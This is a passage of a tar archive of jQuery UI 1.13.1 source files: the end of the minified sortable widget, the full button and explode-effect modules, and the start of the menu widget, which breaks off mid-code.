u.ui.ddmanager&&!this.options.dropBehaviour&&u.ui.ddmanager.drop(this,t),this.options.revert?(s=(i=this).placeholder.offset(),r={},(o=this.options.axis)&&"x"!==o||(r.left=s.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),o&&"y"!==o||(r.top=s.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,u(this.helper).animate(r,parseInt(this.options.revert,10)||500,function(){i._clear(t)})):this._clear(t,e),!1},cancel:function(){if(this.dragging){this._mouseUp(new u.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var t=this.containers.length-1;0<=t;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),u.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?u(this.domPosition.prev).after(this.currentItem):u(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var t=this._getItemsAsjQuery(e&&e.connected),i=[];return e=e||{},u(t).each(function(){var t=(u(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);t&&i.push((e.key||t[1]+"[]")+"="+(e.key&&e.expression?t[1]:t[2]))}),!i.length&&e.key&&i.push(e.key+"="),i.join("&")},toArray:function(t){var e=this._getItemsAsjQuery(t&&t.connected),i=[];return t=t||{},e.each(function(){i.push(u(t.item||this).attr(t.attribute||"id")||"")}),i},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,o=s+this.helperProportions.height,r=t.left,n=r+t.width,h=t.top,a=h+t.height,l=this.offset.click.top,c=this.offset.click.left,l="x"===this.options.axis||h<s+l&&s+l<a,c="y"===this.options.axis||r<e+c&&e+c<n;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?l&&c:r<e+this.helperProportions.width/2&&i-this.helperProportions.width/2<n&&h<s+this.helperProportions.height/2&&o-this.helperProportions.height/2<a},_intersectsWithPointer:function(t){var e="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),t="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width);return!(!e||!t)&&(e=this.dragDirection.vertical,t=this.dragDirection.horizontal,this.floating?"right"===t||"down"===e?2:1:e&&("down"===e?2:1))},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),t=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),i=this.dragDirection.vertical,s=this.dragDirection.horizontal;return this.floating&&s?"right"===s&&t||"left"===s&&!t:i&&("down"===i&&e||"up"===i&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!=t&&(0<t?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!=t&&(0<t?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(t){var e,i,s,o,r=[],n=[],h=this._connectWith();if(h&&t)for(e=h.length-1;0<=e;e--)for(i=(s=u(h[e],this.document[0])).length-1;0<=i;i--)(o=u.data(s[i],this.widgetFullName))&&o!==this&&!o.options.disabled&&n.push(["function"==typeof o.options.items?o.options.items.call(o.element):u(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);function a(){r.push(this)}for(n.push(["function"==typeof this.options.items?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):u(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),e=n.length-1;0<=e;e--)n[e][0].each(a);return u(r)},_removeCurrentsFromItems:function(){var i=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=u.grep(this.items,function(t){for(var e=0;e<i.length;e++)if(i[e]===t.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var e,i,s,o,r,n,h,a,l=this.items,c=[["function"==typeof this.options.items?this.options.items.call(this.element[0],t,{item:this.currentItem}):u(this.options.items,this.element),this]],p=this._connectWith();if(p&&this.ready)for(e=p.length-1;0<=e;e--)for(i=(s=u(p[e],this.document[0])).length-1;0<=i;i--)(o=u.data(s[i],this.widgetFullName))&&o!==this&&!o.options.disabled&&(c.push(["function"==typeof o.options.items?o.options.items.call(o.element[0],t,{item:this.currentItem}):u(o.options.items,o.element),o]),this.containers.push(o));for(e=c.length-1;0<=e;e--)for(r=c[e][1],a=(n=c[e][i=0]).length;i<a;i++)(h=u(n[i])).data(this.widgetName+"-item",r),l.push({item:h,instance:r,width:0,height:0,left:0,top:0})},_refreshItemPositions:function(t){for(var e,i,s=this.items.length-1;0<=s;s--)e=this.items[s],this.currentContainer&&e.instance!==this.currentContainer&&e.item[0]!==this.currentItem[0]||(i=this.options.toleranceElement?u(this.options.toleranceElement,e.item):e.item,t||(e.width=i.outerWidth(),e.height=i.outerHeight()),i=i.offset(),e.left=i.left,e.top=i.top)},refreshPositions:function(t){var e,i;if(this.floating=!!this.items.length&&("x"===this.options.axis||this._isFloating(this.items[0].item)),this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset()),this._refreshItemPositions(t),this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(e=this.containers.length-1;0<=e;e--)i=this.containers[e].element.offset(),this.containers[e].containerCache.left=i.left,this.containers[e].containerCache.top=i.top,this.containers[e].containerCache.width=this.containers[e].element.outerWidth(),this.containers[e].containerCache.height=this.containers[e].element.outerHeight();return this},_createPlaceholder:function(i){var s,o,r=(i=i||this).options;r.placeholder&&r.placeholder.constructor!==String||(s=r.placeholder,o=i.currentItem[0].nodeName.toLowerCase(),r.placeholder={element:function(){var t=u("<"+o+">",i.document[0]);return i._addClass(t,"ui-sortable-placeholder",s||i.currentItem[0].className)._removeClass(t,"ui-sortable-helper"),"tbody"===o?i._createTrPlaceholder(i.currentItem.find("tr").eq(0),u("<tr>",i.document[0]).appendTo(t)):"tr"===o?i._createTrPlaceholder(i.currentItem,t):"img"===o&&t.attr("src",i.currentItem.attr("src")),s||t.css("visibility","hidden"),t},update:function(t,e){s&&!r.forcePlaceholderSize||(e.height()&&(!r.forcePlaceholderSize||"tbody"!==o&&"tr"!==o)||e.height(i.currentItem.innerHeight()-parseInt(i.currentItem.css("paddingTop")||0,10)-parseInt(i.currentItem.css("paddingBottom")||0,10)),e.width()||e.width(i.currentItem.innerWidth()-parseInt(i.currentItem.css("paddingLeft")||0,10)-parseInt(i.currentItem.css("paddingRight")||0,10)))}}),i.placeholder=u(r.placeholder.element.call(i.element,i.currentItem)),i.currentItem.after(i.placeholder),r.placeholder.update(i,i.placeholder)},_createTrPlaceholder:function(t,e){var i=this;t.children().each(function(){u("<td> </td>",i.document[0]).attr("colspan",u(this).attr("colspan")||1).appendTo(e)})},_contactContainers:function(t){for(var e,i,s,o,r,n,h,a,l,c=null,p=null,f=this.containers.length-1;0<=f;f--)u.contains(this.currentItem[0],this.containers[f].element[0])||(this._intersectsWith(this.containers[f].containerCache)?c&&u.contains(this.containers[f].element[0],c.element[0])||(c=this.containers[f],p=f):this.containers[f].containerCache.over&&(this.containers[f]._trigger("out",t,this._uiHash(this)),this.containers[f].containerCache.over=0));if(c)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(i=1e4,s=null,o=(a=c.floating||this._isFloating(this.currentItem))?"left":"top",r=a?"width":"height",l=a?"pageX":"pageY",e=this.items.length-1;0<=e;e--)u.contains(this.containers[p].element[0],this.items[e].item[0])&&this.items[e].item[0]!==this.currentItem[0]&&(n=this.items[e].item.offset()[o],h=!1,t[l]-n>this.items[e][r]/2&&(h=!0),Math.abs(t[l]-n)<i&&(i=Math.abs(t[l]-n),s=this.items[e],this.direction=h?"up":"down"));(s||this.options.dropOnEmpty)&&(this.currentContainer===this.containers[p]?this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1):(s?this._rearrange(t,s,null,!0):this._rearrange(t,null,this.containers[p].element,!0),this._trigger("change",t,this._uiHash()),this.containers[p]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.scrollParent=this.placeholder.scrollParent(),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1))}},_createHelper:function(t){var e=this.options,t="function"==typeof e.helper?u(e.helper.apply(this.element[0],[t,this.currentItem])):"clone"===e.helper?this.currentItem.clone():this.currentItem;return t.parents("body").length||this.appendTo[0].appendChild(t[0]),t[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),t[0].style.width&&!e.forceHelperSize||t.width(this.currentItem.width()),t[0].style.height&&!e.forceHelperSize||t.height(this.currentItem.height()),t},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&u.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&u.ui.ie?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){var t;return"relative"===this.cssPosition?{top:(t=this.currentItem.position()).top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}:{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e,i=this.options;"parent"===i.containment&&(i.containment=this.helper[0].parentNode),"document"!==i.containment&&"window"!==i.containment||(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===i.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===i.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(i.containment)||(t=u(i.containment)[0],i=u(i.containment).offset(),e="hidden"!==u(t).css("overflow"),this.containment=[i.left+(parseInt(u(t).css("borderLeftWidth"),10)||0)+(parseInt(u(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(u(t).css("borderTopWidth"),10)||0)+(parseInt(u(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(e?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(u(t).css("borderLeftWidth"),10)||0)-(parseInt(u(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(e?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(u(t).css("borderTopWidth"),10)||0)-(parseInt(u(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,e){e=e||this.position;var t="absolute"===t?1:-1,i="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&u.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,s=/(html|body)/i.test(i[0].tagName);return{top:e.top+this.offset.relative.top*t+this.offset.parent.top*t-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():s?0:i.scrollTop())*t,left:e.left+this.offset.relative.left*t+this.offset.parent.left*t-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():s?0:i.scrollLeft())*t}},_generatePosition:function(t){var e=this.options,i=t.pageX,s=t.pageY,o="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&u.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,r=/(html|body)/i.test(o[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(i=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(s=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(i=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(s=this.containment[3]+this.offset.click.top)),e.grid&&(t=this.originalPageY+Math.round((s-this.originalPageY)/e.grid[1])*e.grid[1],s=!this.containment||t-this.offset.click.top>=this.containment[1]&&t-this.offset.click.top<=this.containment[3]?t:t-this.offset.click.top>=this.containment[1]?t-e.grid[1]:t+e.grid[1],t=this.originalPageX+Math.round((i-this.originalPageX)/e.grid[0])*e.grid[0],i=!this.containment||t-this.offset.click.left>=this.containment[0]&&t-this.offset.click.left<=this.containment[2]?t:t-this.offset.click.left>=this.containment[0]?t-e.grid[0]:t+e.grid[0])),{top:s-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():r?0:o.scrollTop()),left:i-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():r?0:o.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var o=this.counter;this._delay(function(){o===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){this.reverting=!1;var i,s=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(i in this._storedCSS)"auto"!==this._storedCSS[i]&&"static"!==this._storedCSS[i]||(this._storedCSS[i]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();function o(e,i,s){return function(t){s._trigger(e,t,i._uiHash(i))}}for(this.fromOutside&&!e&&s.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||s.push(function(t){this._trigger("update",t,this._uiHash())}),this===this.currentContainer||e||(s.push(function(t){this._trigger("remove",t,this._uiHash())}),s.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),s.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer))),i=this.containers.length-1;0<=i;i--)e||s.push(o("deactivate",this,this.containers[i])),this.containers[i].containerCache.over&&(s.push(o("out",this,this.containers[i])),this.containers[i].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(i=0;i<s.length;i++)s[i].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){!1===u.Widget.prototype._trigger.apply(this,arguments)&&this.cancel()},_uiHash:function(t){var e=t||this;return{helper:e.helper,placeholder:e.placeholder||u([]),position:e.position,originalPosition:e.originalPosition,offset:e.positionAbs,item:e.currentItem,sender:t?t.element:null}}})});�������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/button.js������������������������������������������������������������������������������0000644�����������������00000026637�14717703502�0011011 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Button 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Button //>>group: Widgets //>>description: Enhances a form with themeable buttons. //>>docs: http://api.jqueryui.com/button/ //>>demos: http://jqueryui.com/button/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/button.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", // These are only for backcompat // TODO: Remove after 1.12 "./controlgroup", "./checkboxradio", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.button", { version: "1.13.1", defaultElement: "<button>", options: { classes: { "ui-button": "ui-corner-all" }, disabled: null, icon: null, iconPosition: "beginning", label: null, showLabel: true }, _getCreateOptions: function() { var disabled, // This is to support cases like in jQuery Mobile where the base widget does have // an implementation of _getCreateOptions options = this._super() || {}; this.isInput = this.element.is( "input" ); disabled = this.element[ 0 ].disabled; if ( disabled != null ) { options.disabled = disabled; } this.originalLabel = this.isInput ? this.element.val() : this.element.html(); if ( this.originalLabel ) { options.label = this.originalLabel; } return options; }, _create: function() { if ( !this.option.showLabel & !this.options.icon ) { this.options.showLabel = true; } // We have to check the option again here even though we did in _getCreateOptions, // because null may have been passed on init which would override what was set in // _getCreateOptions if ( this.options.disabled == null ) { this.options.disabled = this.element[ 0 ].disabled || false; } this.hasTitle = !!this.element.attr( "title" ); // Check to see if the label needs to be set or if its already correct if ( this.options.label && this.options.label !== this.originalLabel ) { if ( this.isInput ) { this.element.val( this.options.label ); } else { this.element.html( this.options.label ); } } this._addClass( "ui-button", "ui-widget" ); this._setOption( "disabled", this.options.disabled ); this._enhance(); if ( this.element.is( "a" ) ) { this._on( { "keyup": function( event ) { if ( event.keyCode === $.ui.keyCode.SPACE ) { event.preventDefault(); // Support: PhantomJS <= 1.9, IE 8 Only // If a native click is available use it so we actually cause navigation // otherwise just trigger a click event if ( this.element[ 0 ].click ) { this.element[ 0 ].click(); } else { this.element.trigger( "click" ); } } } } ); } }, _enhance: function() { if ( !this.element.is( "button" ) ) { this.element.attr( "role", "button" ); } if ( this.options.icon ) { this._updateIcon( "icon", this.options.icon ); this._updateTooltip(); } }, _updateTooltip: function() { this.title = this.element.attr( "title" ); if ( !this.options.showLabel && !this.title ) { this.element.attr( "title", this.options.label ); } }, _updateIcon: function( option, value ) { var icon = option !== "iconPosition", position = icon ? this.options.iconPosition : value, displayBlock = position === "top" || position === "bottom"; // Create icon if ( !this.icon ) { this.icon = $( "<span>" ); this._addClass( this.icon, "ui-button-icon", "ui-icon" ); if ( !this.options.showLabel ) { this._addClass( "ui-button-icon-only" ); } } else if ( icon ) { // If we are updating the icon remove the old icon class this._removeClass( this.icon, null, this.options.icon ); } // If we are updating the icon add the new icon class if ( icon ) { this._addClass( this.icon, null, value ); } this._attachIcon( position ); // If the icon is on top or bottom we need to add the ui-widget-icon-block class and remove // the iconSpace if there is one. if ( displayBlock ) { this._addClass( this.icon, null, "ui-widget-icon-block" ); if ( this.iconSpace ) { this.iconSpace.remove(); } } else { // Position is beginning or end so remove the ui-widget-icon-block class and add the // space if it does not exist if ( !this.iconSpace ) { this.iconSpace = $( "<span> </span>" ); this._addClass( this.iconSpace, "ui-button-icon-space" ); } this._removeClass( this.icon, null, "ui-wiget-icon-block" ); this._attachIconSpace( position ); } }, _destroy: function() { this.element.removeAttr( "role" ); if ( this.icon ) { this.icon.remove(); } if ( this.iconSpace ) { this.iconSpace.remove(); } if ( !this.hasTitle ) { this.element.removeAttr( "title" ); } }, _attachIconSpace: function( iconPosition ) { this.icon[ /^(?:end|bottom)/.test( iconPosition ) ? "before" : "after" ]( this.iconSpace ); }, _attachIcon: function( iconPosition ) { this.element[ /^(?:end|bottom)/.test( iconPosition ) ? "append" : "prepend" ]( this.icon ); }, _setOptions: function( options ) { var newShowLabel = options.showLabel === undefined ? this.options.showLabel : options.showLabel, newIcon = options.icon === undefined ? this.options.icon : options.icon; if ( !newShowLabel && !newIcon ) { options.showLabel = true; } this._super( options ); }, _setOption: function( key, value ) { if ( key === "icon" ) { if ( value ) { this._updateIcon( key, value ); } else if ( this.icon ) { this.icon.remove(); if ( this.iconSpace ) { this.iconSpace.remove(); } } } if ( key === "iconPosition" ) { this._updateIcon( key, value ); } // Make sure we can't end up with a button that has neither text nor icon if ( key === "showLabel" ) { this._toggleClass( "ui-button-icon-only", null, !value ); this._updateTooltip(); } if ( key === "label" ) { if ( this.isInput ) { this.element.val( value ); } else { // If there is an icon, append it, else nothing then append the value // this avoids removal of the icon when setting label text this.element.html( value ); if ( this.icon ) { this._attachIcon( this.options.iconPosition ); this._attachIconSpace( this.options.iconPosition ); } } } this._super( key, value ); if ( key === "disabled" ) { this._toggleClass( null, "ui-state-disabled", value ); this.element[ 0 ].disabled = value; if ( value ) { this.element.trigger( "blur" ); } } }, refresh: function() { // Make sure to only check disabled if its an element that supports this otherwise // check for the disabled class to determine state var isDisabled = this.element.is( "input, button" ) ? this.element[ 0 ].disabled : this.element.hasClass( "ui-button-disabled" ); if ( isDisabled !== this.options.disabled ) { this._setOptions( { disabled: isDisabled } ); } this._updateTooltip(); } } ); // DEPRECATED if ( $.uiBackCompat !== false ) { // Text and Icons options $.widget( "ui.button", $.ui.button, { options: { text: true, icons: { primary: null, secondary: null } }, _create: function() { if ( this.options.showLabel && !this.options.text ) { this.options.showLabel = this.options.text; } if ( !this.options.showLabel && this.options.text ) { this.options.text = this.options.showLabel; } if ( !this.options.icon && ( this.options.icons.primary || this.options.icons.secondary ) ) { if ( this.options.icons.primary ) { this.options.icon = this.options.icons.primary; } else { this.options.icon = this.options.icons.secondary; this.options.iconPosition = "end"; } } else if ( this.options.icon ) { this.options.icons.primary = this.options.icon; } this._super(); }, _setOption: function( key, value ) { if ( key === "text" ) { this._super( "showLabel", value ); return; } if ( key === "showLabel" ) { this.options.text = value; } if ( key === "icon" ) { this.options.icons.primary = value; } if ( key === "icons" ) { if ( value.primary ) { this._super( "icon", value.primary ); this._super( "iconPosition", "beginning" ); } else if ( value.secondary ) { this._super( "icon", value.secondary ); this._super( "iconPosition", "end" ); } } this._superApply( arguments ); } } ); $.fn.button = ( function( orig ) { return function( options ) { var isMethodCall = typeof options === "string"; var args = Array.prototype.slice.call( arguments, 1 ); var returnValue = this; if ( isMethodCall ) { // If this is an empty collection, we need to have the instance method // return undefined instead of the jQuery instance if ( !this.length && options === "instance" ) { returnValue = undefined; } else { this.each( function() { var methodValue; var type = $( this ).attr( "type" ); var name = type !== "checkbox" && type !== "radio" ? "button" : "checkboxradio"; var instance = $.data( this, "ui-" + name ); if ( options === "instance" ) { returnValue = instance; return false; } if ( !instance ) { return $.error( "cannot call methods on button" + " prior to initialization; " + "attempted to call method '" + options + "'" ); } if ( typeof instance[ options ] !== "function" || options.charAt( 0 ) === "_" ) { return $.error( "no such method '" + options + "' for button" + " widget instance" ); } methodValue = instance[ options ].apply( instance, args ); if ( methodValue !== instance && methodValue !== undefined ) { returnValue = methodValue && methodValue.jquery ? returnValue.pushStack( methodValue.get() ) : methodValue; return false; } } ); } } else { // Allow multiple hashes to be passed on init if ( args.length ) { options = $.widget.extend.apply( null, [ options ].concat( args ) ); } this.each( function() { var type = $( this ).attr( "type" ); var name = type !== "checkbox" && type !== "radio" ? "button" : "checkboxradio"; var instance = $.data( this, "ui-" + name ); if ( instance ) { instance.option( options || {} ); if ( instance._init ) { instance._init(); } } else { if ( name === "button" ) { orig.call( $( this ), options ); return; } $( this ).checkboxradio( $.extend( { icon: false }, options ) ); } } ); } return returnValue; }; } )( $.fn.button ); $.fn.buttonset = function() { if ( !$.ui.controlgroup ) { $.error( "Controlgroup widget missing" ); } if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" && arguments[ 2 ] ) { return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button", arguments[ 2 ] ] ); } if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" ) { return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button" ] ); } if ( typeof arguments[ 0 ] === "object" && arguments[ 0 ].items ) { arguments[ 0 ].items = { button: arguments[ 0 ].items }; } return this.controlgroup.apply( this, arguments ); }; } return $.ui.button; } ); �������������������������������������������������������������������������������������������������js/jquery/ui/effect-explode.js����������������������������������������������������������������������0000644�����������������00000005507�14717703502�0012361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Explode 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Explode Effect //>>group: Effects /* eslint-disable max-len */ //>>description: Explodes an element in all directions into n pieces. Implodes an element to its original wholeness. /* eslint-enable max-len */ //>>docs: http://api.jqueryui.com/explode-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "explode", "hide", function( options, done ) { var i, j, left, top, mx, my, rows = options.pieces ? Math.round( Math.sqrt( options.pieces ) ) : 3, cells = rows, element = $( this ), mode = options.mode, show = mode === "show", // Show and then visibility:hidden the element before calculating offset offset = element.show().css( "visibility", "hidden" ).offset(), // Width and height of a piece width = Math.ceil( element.outerWidth() / cells ), height = Math.ceil( element.outerHeight() / rows ), pieces = []; // Children animate complete: function childComplete() { pieces.push( this ); if ( pieces.length === rows * cells ) { animComplete(); } } // Clone the element for each row and cell. for ( i = 0; i < rows; i++ ) { // ===> top = offset.top + i * height; my = i - ( rows - 1 ) / 2; for ( j = 0; j < cells; j++ ) { // ||| left = offset.left + j * width; mx = j - ( cells - 1 ) / 2; // Create a clone of the now hidden main element that will be absolute positioned // within a wrapper div off the -left and -top equal to size of our pieces element .clone() .appendTo( "body" ) .wrap( "<div></div>" ) .css( { position: "absolute", visibility: "visible", left: -j * width, top: -i * height } ) // Select the wrapper - make it overflow: hidden and absolute positioned based on // where the original was located +left and +top equal to the size of pieces .parent() .addClass( "ui-effects-explode" ) .css( { position: "absolute", overflow: "hidden", width: width, height: height, left: left + ( show ? mx * width : 0 ), top: top + ( show ? my * height : 0 ), opacity: show ? 0 : 1 } ) .animate( { left: left + ( show ? 0 : mx * width ), top: top + ( show ? 0 : my * height ), opacity: show ? 1 : 0 }, options.duration || 500, options.easing, childComplete ); } } function animComplete() { element.css( { visibility: "visible" } ); $( pieces ).remove(); done(); } } ); } ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/menu.js��������������������������������������������������������������������������������0000644�����������������00000044714�14717703502�0010436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Menu 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Menu //>>group: Widgets //>>description: Creates nestable menus. //>>docs: http://api.jqueryui.com/menu/ //>>demos: http://jqueryui.com/menu/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/menu.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.menu", { version: "1.13.1", defaultElement: "<ul>", delay: 300, options: { icons: { submenu: "ui-icon-caret-1-e" }, items: "> *", menus: "ul", position: { my: "left top", at: "right top" }, role: "menu", // Callbacks blur: null, focus: null, select: null }, _create: function() { this.activeMenu = this.element; // Flag used to prevent firing of the click handler // as the event bubbles up through nested menus this.mouseHandled = false; this.lastMousePosition = { x: null, y: null }; this.element .uniqueId() .attr( { role: this.options.role, tabIndex: 0 } ); this._addClass( "ui-menu", "ui-widget ui-widget-content" ); this._on( { // 